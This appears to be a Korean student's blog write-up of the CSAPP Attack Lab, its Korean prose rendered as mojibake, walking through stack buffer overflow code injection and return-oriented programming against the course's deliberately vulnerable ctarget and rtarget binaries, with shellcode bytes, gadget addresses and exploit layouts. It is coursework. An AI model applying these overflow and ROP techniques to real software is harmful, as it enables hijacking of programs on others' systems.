Skip to main content
  1. Posts/
  2. Today I Learned/

CSAPP Attack Lab

·1218 words·6 mins
Jiho Kim
Author
Jiho Kim
๋‹ฌ๋ ค ๋˜ ๋‹ฌ๋ ค

๐Ÿ“ ์ƒ์„ธ ์ •๋ฆฌ
#

Part I: Code Injection Attacks
#

  • ์ƒˆ๋กœ์šด ์ฝ”๋“œ๋ฅผ ์ธ์ ์…˜ํ•˜์ง€๋Š” ์•Š๊ณ , string์„ ์ง์ ‘ ๋ฐ•์•„๋„ฃ์–ด์„œ ์กด์žฌํ•˜๋Š” ํ”„๋กœ์‹œ์ ธ๋กœ ๊ฝ‚์„๊ฒƒ์ด๋‹ค.
    void test()
    {
    	int val;
    	val = getbuf();
    	printf("No exploit. Getbuf returned 0x%x\n", val);
    }
  • ์œ„์™€ ๊ฐ™์€ ์ฝ”๋“œ์— ์ง์ ‘ ๋„ฃ์„ ์˜ˆ์ •

Level 1
#

  • void touch1() ํ•จ์ˆ˜๋กœ ๊ฐ€๊ฒŒ ๋งŒ๋“ค์ž.
  00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret
  4017be:	90                   	nop
  4017bf:	90                   	nop
  • getbuf ํ•จ์ˆ˜๋ฅผ ๋ณด๋‹ˆ, 0x28 = 40๋ฐ”์ดํŠธ๋ฅผ ์Šคํƒ๋ฉ”๋ชจ๋ฆฌ์— ํ• ๋‹นํ•˜๊ณ , getํ•จ์ˆ˜๋ฅผ ๋ถ€๋ฅธ๋‹ค.

  • ๊ทธ๋ ‡๋‹ค๋ฉด sub๊ฐ€ ์ง€๋‚œ ์ดํ›„ 40๋ฐ”์ดํŠธ ์œ„์—๋Š” getbuf๊ฐ€ ๋๋‚˜๊ณ  ๋Œ์•„๊ฐ€์•ผํ•  ํ•จ์ˆ˜ ์œ„์น˜๊ฐ€ ์žˆ์„ ๊ฒƒ์ด๋‹ค!

      00000000004017c0 <touch1>:
      4017c0:	48 83 ec 08          	sub    $0x8,%rsp
      4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
      4017cb:	00 00 00 
      4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
      4017d3:	e8 e8 f4 ff ff       	call   400cc0 <puts@plt>
      4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
      4017dd:	e8 ab 04 00 00       	call   401c8d <validate>
      4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
      4017e7:	e8 54 f6 ff ff       	call   400e40 <exit@plt>
  • touchํ•จ์ˆ˜์˜ ์œ„์น˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด 0x4017c0๋ฒˆ์ด๋‹ค.

  • ๋”ฐ๋ผ์„œ 40๋ฐ”์ดํŠธ ๋’ค์˜ ret์ฃผ์†Œ๋ฅผ ์กฐ์ž‘ํ•˜์ž. string์„ input๋ฐ›์€ ๊ฒฐ๊ณผ๊ฐ€

  00 00 00 00 (... 40๊ฐœ ) c0 17 40 00 00 00 00 00 (x86-64์—์„œ๋Š” 8๋ฐ”์ดํŠธ์”ฉ ๋ฆฌํ‹€์—”๋””์•ˆ์œผ๋กœ ์ฝ์œผ๋ฏ€๋กœ)
  • ๋ฅผ ์ธ์ ์…˜ํ•˜๋ฉด ๋˜๊ฒ ๋‹ค.
  • ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์„ ๋„ฃ์€ exploit.txt๋ฅผ ๋งŒ๋“ค๊ณ ,
  ./hex2raw < exploit.txt > hex.txt
  ./ctarget -q < hex.txt
  • ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด exploit์„ ์ˆ˜ํ–‰ํ•˜์ž.

Level 2
#

  • ์ž‘์€ ํฌ๊ธฐ์˜ ์ฝ”๋“œ๋ฅผ exploit string์— ๋„ฃ์–ด์•ผ ํ•œ๋‹ค.
  • void touch2(unsigned val) ์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด์•ผํ•˜๊ณ , ์ด๋•Œ val์€ cookie์™€ ๊ฐ™์•„์•ผํ•œ๋‹ค.
  • ๊ทธ๋ ‡๋‹ค๋ฉด touch2๋กœ ๊ฐ€๊ธฐ ์ „์— rdi์— cookie๊ฐ’์ด ๋“ค์–ด๊ฐ€๋„๋ก ํ•ด์•ผํ•œ๋‹ค๋Š”๊ฑด๋ฐ..
  • ๋ˆˆ์น˜์ƒ mov๋ฅผ ์“ฐ๋ฉด ๋˜์ง€ ์•Š์„๊นŒ?
    • mov 0x59b997fa %rdi ๊ฐ™์€๊ฑธ ์ˆ˜ํ–‰ํ•˜๊ณ , touch2๋กœ ๊ฐ€๋ฉด ๋˜๋Š”๊ฑฐ๊ฐ™์€๋ฐ..
      • ์งง์€ ์ฝ”๋“œ๋‹ˆ๊นŒ ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ข€ ์ด์šฉํ•  ์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ?
mov 0x59b997fa, %rdi
ret
  • ๋ผ๊ณ  touch2.s์— ์“ฐ๊ณ ,
~/CSAPP/3_Attack_Lab$ gcc -c touch2.s
~/CSAPP/3_Attack_Lab$ objdump -d touch2.o

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   c3                      ret
  • ์œ„์™€ ๊ฐ™์ด ํ•ด์„œ hex๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.
  • ์Œ.. ๊ทธ๋Ÿฌ๋ฉด ๋‹ค์‹œ ์Šคํƒ๋ฉ”๋ชจ๋ฆฌ -40์ฏค์„ ๋ฐ”๋ผ๋ณด๊ฒŒ ํ•œ๋‹ค์Œ์—, ๊ฑฐ๊ธฐ์— ์ € ์ฝ”๋“œ๋ฅผ ๋„ฃ๊ณ , ret๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ฉด ๋˜ ๋‹ค์Œ ๋ธ”๋Ÿญ์„ ๋ณผํ…Œ๋‹ˆ๊นŒ ๊ทธ ๊ฐ’์— touch2์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด ๋˜์ง€ ์•Š์„๊นŒ?
  (gdb) x/50x $rsp
0x5561dc78:     0x00000000      0x00000000      0x00000000      0x00000000
0x5561dc88:     0x00000000      0x00000000      0x00000000      0x00000000
0x5561dc98:     0x55586000      0x00000000      0x00401976      0x00000000
0x5561dca8:     0x55685fe8      0x00000000      0x00401f24      0x00000000
  • 0x28๋งŒํผ ๋น ์ง„ ๋’ค๋‹ค. ์ €๊ธฐ 0x00401976์ด ์ข€์•„๊นŒ ๊ณต๊ฒฉํ•œ ์ฃผ์†Œ๊ณ . ๊ทธ๋Ÿฌ๋ฉด ์—ฌ๊ธฐ์„œ 0x5561dc78๋กœ ๋ณด๋‚ด๊ณ , ๊ฑฐ๊ธฐ์„œ ์œ„์—์„œ ์˜ˆ์ธกํ•œ ์ง“์„ ํ•ด๋ณด์ž. ```
    • ์š”๊ฑด ์‹คํŒจํ–ˆ๋‹ค…
    • ์Šคํƒ์„ ์ง์ ‘ ์ •๋ ฌ์„ ๋งž์ถ”๋Š”๊ฒŒ ๊นŒ๋‹ค๋กญ๋‹ค.
      • PC์—ญํ• ์„ ํ•˜๋Š” %rip์™€ ์Šคํƒ์˜ %rsp๋Š” ๋ณ„๊ฐœ๋‹ˆ๊นŒ, ์ง์ ‘ ์Šคํƒ์— 0x4017ec๋ฅผ ๋ฐ•์•„๋ฒ„๋ ค๋„ ๋ฌธ์ œ๊ฐ€ ์—†๋‹ค.
      movq $0x59b997fa, %rdi
      pushq $0x4017ec
      ret
    • ๋กœ ํ•˜๊ณ , ์ด์ผ€์ด์ผ€ ์ž˜ํ•˜๋ฉด ๋œ๋‹ค!!
      Type string:Touch2!: You called touch2(0x59b997fa)
      • ์•ผํ˜ธ!!!

Level 3
#

  • ์ด๋ฒˆ์—๋Š” char *sval, ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ string์„ ์ „๋‹ฌํ•ด์•ผํ•˜๋„ค
  • %rdi๊ฐ€ ์ŠคํŠธ๋ง์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•˜๊ณ , ๊ฑฐ๊ธฐ์— ์ŠคํŠธ๋ง์„ ๋„ฃ์–ด์•ผํ•œ๋‹ค
    • ๋„ฃ์–ด์•ผํ•˜๋Š” ๊ฐ’์€ ๊ทธ ์ฟ ํ‚ค๊ฐ’ ๊ทธ๋Œ€๋กœ ๋‚˜์˜ค๊ฒŒ ๋„ฃ์–ด์•ผ ํ•˜๋Š”๋“ฏ?
  • ์–ด๋–ป๊ฒŒ ํ•˜๋ฉด ์ข‹์„๊นŒ?
    • ์ œ์ผ ์ฒ˜์Œ 8๋ฐ”์ดํŠธ์— ์šฐ๋ฆฌ๊ฐ€ ํ•„์š”๋กœํ•˜๋Š” ๋ฌธ์ž์—ด์ด ๋“ค์–ด๊ฐ€๊ณ 
    • ๊ทธ ๋‹ค์Œ์œผ๋กœ ์šฐ๋ฆฌ๊ฐ€ rip๋ฅผ ์˜ฎ๊ธธ๊ฑด๋ฐ, ์—ฌ๊ธฐ์„œ ๊ทธ๋Ÿฌ๋ฉด rdi์— ๋ฉ”๋ชจ๋ฆฌ์ฃผ์†Œ๋ฅผ ์ง€์ •ํ•ด์ฃผ๊ณ ,
    • ๊ทธ๋ฆฌ๊ณ  ์Šคํƒ์— ๋„ฃ..๊ธฐ์—๋Š” ๊ดœ์ฐฎ์„๋ผ๋‚˜? 8์นธ ์“ธ์ˆ˜ ์žˆ์„๊นŒ? ์˜ค์—ผ ์•ˆ๋‹นํ• ๋ผ๋‚˜? ์ผ๋‹จ ํ•ด๋ณด์ž.ใ…‡
      • ์ด๊ฑธ nop๊ฐ™์€๊ฑธ๋กœ ๋ฏธ๋Š”๊ฒƒ๋„ ๊ฐ€๋Šฅํ•œ๊ฐ€?
  • Level2์™€ ๊ฐ™์ด ํ–ˆ์ง€๋งŒ, ๊ฒฐ๊ตญ hexmatchํ•จ์ˆ˜์— ์˜ํ•ด์„œ ์˜ค์—ผ๋‹นํ•˜๋Š”๊ฒŒ ๋ฌธ์ œ์˜€๋‹ค
    • ์Šคํƒ ๋ฉ”๋ชจ๋ฆฌ์˜ ์•„๋žซ์ชฝ์€ ๊นŠ์–ด์ง„๋‹ค๋ฉด ์˜ค์—ผ๋‹นํ•  ์ˆ˜ ์žˆ๋‹ค
    • ๊ทธ๋ ‡๋‹ค๋ฉด ์œ„์ชฝ์— ๋„ฃ์–ด๋ฒ„๋ฆฐ๋‹ค๋ฉด???
    • ์–ด์ฐจํ”ผ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์œ„์ชฝ์„ ์˜ค์—ผ์‹œ์ผœ๋ฒ„๋ฆฌ๋Š”๊ฑฐ, ์•ˆ์ „ํ•œ๋ฐ ๋ฐ•์•„๋ฒ„๋ฆฌ์ž!
  • ๋”ฐ๋ผ์„œ ret ์ฃผ์†Œ ๋’ท์ชฝ ์•ˆ์ „ํ•œ๊ณณ์— ๋ฐ•์•„๋‘๊ณ  ์“ฐ๋ฉด.. ์ข‹์•„์“ฐ!!
     Type string:Touch3!: You called touch3("59b997fa")
     Valid solution for level 3 with target ctarget
     PASS: Would have posted the following:

Part II: Return-Oriented Programming
#

  • CTARGET๋ณด๋‹ค ์–ด๋ ค์šธ ๊ฒƒ์ด๋‹ค.
  • 3.10์ธ๊ฐ€์—์„œ ๋ฐฐ์šด ์Šคํƒ ๋ฌด์ž‘์œ„ํ™”๋„ ์“ฐ๊ณ , ์Šคํƒ์—์žˆ๋Š” ๋ช…๋ น์–ด๋Š” ์‹คํ–‰๋ถˆ๊ฐ€ํ•˜๊ฒŒ ํ• ๊ฒƒ์ด๋‹ค.
  • ํ•˜์ง€๋งŒ ์ด๋Š” ์ƒˆ๋กœ์šด ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๋Š”๊ฒƒ ๋ง๊ณ ๋„ ์กด์žฌํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š”๊ฒƒ์œผ๋กœ ๋šซ์„ ์ˆ˜ ์žˆ๋‹ค.
    • ์ด๋ฅผ Return-Oriented Programing, ROP๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค.
    • ret์ด ์˜ค๋Š” instruction ๋ฉ์–ด๋ฆฌ๋ฅผ ์ž˜ ์ฐพ์•„๊ฐ€๋Š” ์ „๋žต์œผ๋กœ ์ž‘๋™ํ•œ๋‹ค.
    void setval_210(unsigned *p){
    	*p = 3347663060U;
    }
    • ์œ„์™€ ๊ฐ™์€ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ธฐ๊ณ„์ฝ”๋“œ๊ฐ€ ๋œ๋‹ค.
    0000000000400f15 :
    	400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
    	400f1b: c3 retq
    • ์ด๋•Œ ๋’ค์— (48 89 c7) ๋งŒ ๋ณด๋ฉด, ์ด๋Š” movq %rax, %rdi์™€ ๊ฐ™๋‹ค.
    • ์ด๋Ÿฐ ๋А๋‚Œ์œผ๋กœ๋„ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค!

Level 2
#

  • gadget farm์„ ์ด์šฉํ•ด์„œ, ์œ„์— Level 2์—์„œ ํ–ˆ๋˜๊ฑธ ๋˜‘๊ฐ™์ด ํ•˜๋ฉด ๋œ๋‹ค.
  • ๊ฒฐ๊ตญ ํ•ด์•ผํ•˜๋Š”๊ฑด rdi์— ๊ฐ’์„ ๋„ฃ๊ธฐ, touch2 ํ•จ์ˆ˜๋กœ ๊ฐ€๊ธฐ
  • ์Œ.. ๊ฐ’์„ ์–ด๋–ป๊ฒŒ ๋„ฃ์œผ๋ฉด ์ข‹์„๊นŒ?
    • 0x6054e4 ์— ์žˆ๋Š” cookie๋ฅผ ์“ฐ๋Š”๊ฑด ์–ด๋ ค์šธ๊ฑฐ๊ณ , cookie ์ž์ฒด๋Š” ๋‚ด๊ฐ€ ์ง์žก ๋„ฃ๋Š” ์˜์—ญ์ผ ๊ฒƒ ๊ฐ™๋‹ค
    • ์•„, ์ œ์ผ์ฒ˜์Œ์— rsp๊ฐ€ ๋ณด๊ณ ์žˆ๋Š” ๊ฐ’์„ ๋„ฃ์œผ๋ฉด 40๋ฐ”์ดํŠธ์˜ ์ฒ˜์Œ์„ ์“ธ ์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ?? ๊ทธ๋ ‡๋‹ค๋ฉด
      movq (%rsp), rdi
      ret
    • ์ด๊ฑธ ๋„ฃ๊ณ , 40๋ฐ”์ดํŠธ๋ถ€ํ„ฐ touch2 ์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด ๋˜์ง€ ์•Š์„๊นŒ?
      0000000000000000 <.text>:
         0:   48 8b 3c 24             mov    (%rsp),%rdi
         4:   c3                      ret
    • ์ข‹์•„. 48 8b 3c 24๋ฅผ ์ฐพ์„์ˆ˜๋งŒ ์žˆ๋‹ค๋ฉด…
      • ๋”ฑํžˆ ์•ˆ๋ณด์ธ๋‹ค
    • ์ผ๋‹จ ๊ฒฐ๊ตญ rdi๋กœ ๋„ฃ์–ด์•ผ ํ•˜๋‹ˆ๊นŒ, 48 89 ์–ด์ฉŒ๊ตฌ ๋“ค์„ ์ฐพ์•„๋ณด์ž
      00000000004019a0 <addval_273>:
        4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
        4019a6:	c3                   	ret
      • ์ผ๋‹จ ์—ฌ๊ธฐ์„œ 48 89 c7 c3, ์ฆ‰ movq %rax, %rdi / ret๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค
      • 89 c7 c3์€ movl %eax, %edi / ret ์ด๊ธฐ๋„ ํ•˜๋‹ค!
    • ์•„ํ•˜, ๊ฐ’์„ ๋„ฃ์–ด์•ผํ•˜๋Š”๊ฑด mov (%rsp)๋กœ๋„ ๋˜์ง€๋งŒ, ๊ฐ„๋‹จํ•˜๊ฒŒ popq๋กœ๋„ ๋œ๋‹ค!!
      • popq %rax์ธ 58์ด๋‚˜ popq %rdi์ธ 5f๋งŒ ์ฐพ์œผ๋ฉด ๋œ๋‹ค!
      00000000004019a7 <addval_219>:
        4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
        4019ad:	c3                   	ret
    • 58: popq %rax, 90: nop, c3: ret ์œผ๋กœ ํ•ด์„ํ•  ์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ?
      • ์ด๊ฑฐ๋ž‘ ์œ„์—๊ฑธ ์กฐํ•ฉํ•ด์„œ ์‹คํ–‰ํ•ด๋ณด์ž.
    • ์–ด.. ๊ทผ๋ฐ ์ด์Šˆ๊ฐ€ ์žˆ๋‹ค. ๊ฒฐ๊ตญ rsp์— ์žˆ๋Š” ๋ฆฌํ„ด์ฃผ์†Œ๋กœ ๊ฐ€์„œ ์‹คํ–‰ํ•˜๋Š”๊ฑด๋ฐ, ๊ทธ๋Ÿฌ๋ฉด ์Šคํƒ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ 8๋ฐ”์ดํŠธ ๋•ก๊ฒจ์ง€๋‚˜? ๊ทธ๋ฆฌ๊ณ  movq๋ฅผ ํ•˜๋ฉด ๋˜ 8๋ฐ”์ดํŠธ๊ฐ€ ๋•ก๊ฒจ์ง€๋‚˜? ํ—ท๊ฐˆ๋ฆฌ๋„ค. ์•„๋งˆ ๊ทธ๋Ÿฐ๊ฑฐ๊ฐ™๊ธด ํ•œ๋ฐ..
      ~/CSAPP/3_Attack_Lab$ ./rtarget -q < hex4.txt
      Cookie: 0x59b997fa
      Type string:Touch2!: You called touch2(0x59b997fa)
      Valid solution for level 2 with target rtarget
      PASS: Would have posted the following:
      • ์•ผํ˜ธ! ์„ฑ๊ณตํ–ˆ๋‹ค.

Level 3
#

  • ใ…‹ใ…‹ ์•„๋‹ˆ Writeup ๊ณผ์ œ์ง€์—์„œ ์–ด๋ ค์›Œ์„œ ์ผ๋ถ€๋Ÿฌ ์ ์ˆ˜ ๋‚ฎ๊ฒŒ ๋ฐฐ์ ํ–ˆ๋‹ค๊ณ  ํ•˜๋Š”๊ฑด ์ง„์งœ ๋ฌด๋ƒ.. ๋ฌด์„œ์šด๋ฐ
    • ๊ทธ๋ž˜๋„ ํ•ด์•ผ๊ฒ ์ง€?
  • ์•ž์—์„œ ํ–ˆ๋˜๊ฒƒ๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋ฌธ์ž์—ด์„ ๋‹ด์•„์•ผ ํ•˜๋Š”๋ฐ, ๊ทธ ํฌ์ธํ„ฐ ์œ„์น˜๋ฅผ ์•Œ ์ˆ˜๊ฐ€ ์—†์œผ๋‹ˆ ์กฐ๊ธˆ ๊นŒ๋‹ค๋กญ๋‹ค…
    • ์Œ, ๊ทธ๋‚˜๋งˆ ์•„์ด๋””์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด, 0x40(%rsp)๊ฐ™์ด ์˜คํ”„์…‹์„ ์ข€ ์ž˜ ํ•ด์„œ ์•ˆ์ „ํ•œ๋ฐ์—๋‹ค๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ๋„ฃ์–ด๋‘˜ ์ˆ˜ ์žˆ์„๊นŒ?
      • ์•„๋‹ˆ ๊ทผ๋ฐ ์ด๊ฑด ๊ฑฐ๊ธฐ์žˆ๋Š” ๊ฐ’์ธ๋ฐ
    • ๊ฒฐ๊ตญ %rdi์—๋Š” ์•ˆ์ „ํ•œ ์Šคํƒ๋ฉ”๋ชจ๋ฆฌ์˜ ์ฃผ์†Œ๊ฐ€, ๊ทธ๋ฆฌ๊ณ  ๊ทธ ์ฃผ์†Œ์— ์šฐ๋ฆฌ๊ฐ€ ์ธ์ ์…˜ํ•œ ๋ฌธ์ž์—ด์ด ์žˆ์œผ๋ฉด ๋˜๋Š”๊ฑฐ๊ฐ™์€๋ฐ.
    • ๊ทธ๋ ‡๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ•˜์ง€? add rdi๊ฐ€ ์žˆ์œผ๋ฉด ์ข‹์„๊นŒ?
      • mov rsp rdi
      • addq 0x40 rdi
      • ์ด๋Ÿฐ๊ฒŒ ์žˆ์œผ๋ฉด ๋˜์ง€ ์•Š์„๊นŒ?
      0000000000401a03 <addval_190>:
        401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
        401a09:	c3                   	ret
      • 48 89 e0: movq %rsp %rax๋ฅผ ์ฐพ์•˜๋‹ค!
      • ์ด์ œ ๋‹ค๋ฅธ๋ฐ์„œ ๊ฐ’์„ ์ž˜ ์ฐพ์•„์„œ, lea๊ฐ™์€๊ฑธ๋กœ ๋”ํ•ด์„œ ์“ฐ๋ฉด ๋˜์ง€ ์•Š์„๊นŒ?
      0000000000000000 <.text>:
         0:   48 8d 3c 3e             lea    (%rsi,%rdi,1),%rdi
         4:   48 8d 3c 06             lea    (%rsi,%rax,1),%rdi
         8:   48 8d 3c 38             lea    (%rax,%rdi,1),%rdi
         c:   48 8d 04 3e             lea    (%rsi,%rdi,1),%rax
      • ์ด๋Ÿฐ ์นœ๊ตฌ๋“ค์„ ์ฐพ์œผ๋ฉด ๋˜๊ฒ ๋Š”๋””? 48 8d๋ฅผ ์ฐพ์•„๋ณด์ž
      00000000004019bc <setval_470>:
        4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
        4019c2:	c3                   	ret
      
      00000000004019d6 <add_xy>:
        4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
        4019da:	c3                   	ret
      • ์ด๋ ‡๊ฒŒ ๋‘๊ฐ€์ง€๊ฐ€ ์žˆ๋Š”๊ฒƒ๊ฐ™๋‹ค.
      • ๋’ค์—๊ป˜ ๋„ˆ๋ฌด ์“ฐ๊ธฐ ์ข‹์•„๋ณด์ด๋Š”๋ฐ, %rdi๋‚˜ %rsi์—๋‹ค๊ฐ€ ์•„๊นŒ ์–ป์–ด๋‘” %rsp๊ฐ’์„ ๋„ฃ์–ด๋‘๊ณ , ๋‹ค๋ฅธ๋ฐ์„œ ์•„๋ฌด ์ƒ์ˆ˜๊ฐ’์„ ํ•˜๋‚˜ ๊ฐ€์ ธ์˜ค์ž. ์ด๊ฑด %rsp๊ฐ™์€๋ฐ์„œ popq๋กœ ํ›”์ณ์™€๋„ ๋ ๋“ฏ?
      • movq rax rdi, movq rax rsi๋ฅผ ์ฐพ์•„์™€์•ผํ•œ๋‹ค.
      • rdi๋Š” ์•„๊นŒ ์ฐพ์•„๋†จ๊ณ ,
      0000000000401a11 <addval_436>:
        401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax
        401a17:	c3                   	ret
      • 89 ce 90 90 c3์ด๋ฉด movl ecx esi, nop, nop, ret ์ด๋‹ค!
      • ์ด์ œ ecx๋กœ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ๋Š”์ง€ ์ฐพ์•„๋ณด์ž.
      0000000000401a33 <getval_159>:
        401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
        401a38:	c3                   	ret
      • ์—ฌ๊ธฐ์„œ 89 d1 38 c9 c3์ด movl edx ecx, cmpb cl cl, ret์ด๊ณ 
      • ๊ทธ๋Ÿฌ๋ฉด edx๋กœ ๋ณด๋‚ด์•ผ๋˜๋Š”๋ฐ..
      00000000004019db <getval_481>:
        4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
        4019e0:	c3                   	ret
      • ์•ผํ˜ธ! 89 c2 90 c3 = movl eax, edx, nop, ret์„ ์ฐพ์•˜๋‹ค.
      • ์ด๊ฑธ๋กœ eax -> edx -> ecx -> esi ๊ฐ€ ๊ฐ€๋Šฅํ•ด์กŒ๋‹ค.
      ~/CSAPP/3_Attack_Lab$ ./rtarget -q < hex4.txt
      Cookie: 0x59b997fa
      Type string:Touch3!: You called touch3("59b997fa")
      Valid solution for level 3 with target rtarget
      • ์œ„๋ฅผ ์ž˜ ์กฐํ•ฉํ•˜๋ฉด ์„ฑ๊ณตํ•  ์ˆ˜ ์žˆ๋‹ค!! ์Šคํƒ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋Š” 64๋น„ํŠธ๋‹ˆ๊นŒ movl๊ฐ™์€๊ฑธ๋กœ ์˜ฎ๊ฒจ์ง€์ง€ ์•Š๊ฒŒ ์กฐ์‹ฌํ•˜์ž.

โ”์งˆ๋ฌธ ์‚ฌํ•ญ
#

๐Ÿ”— ์ฐธ๊ณ  ์ž๋ฃŒ
#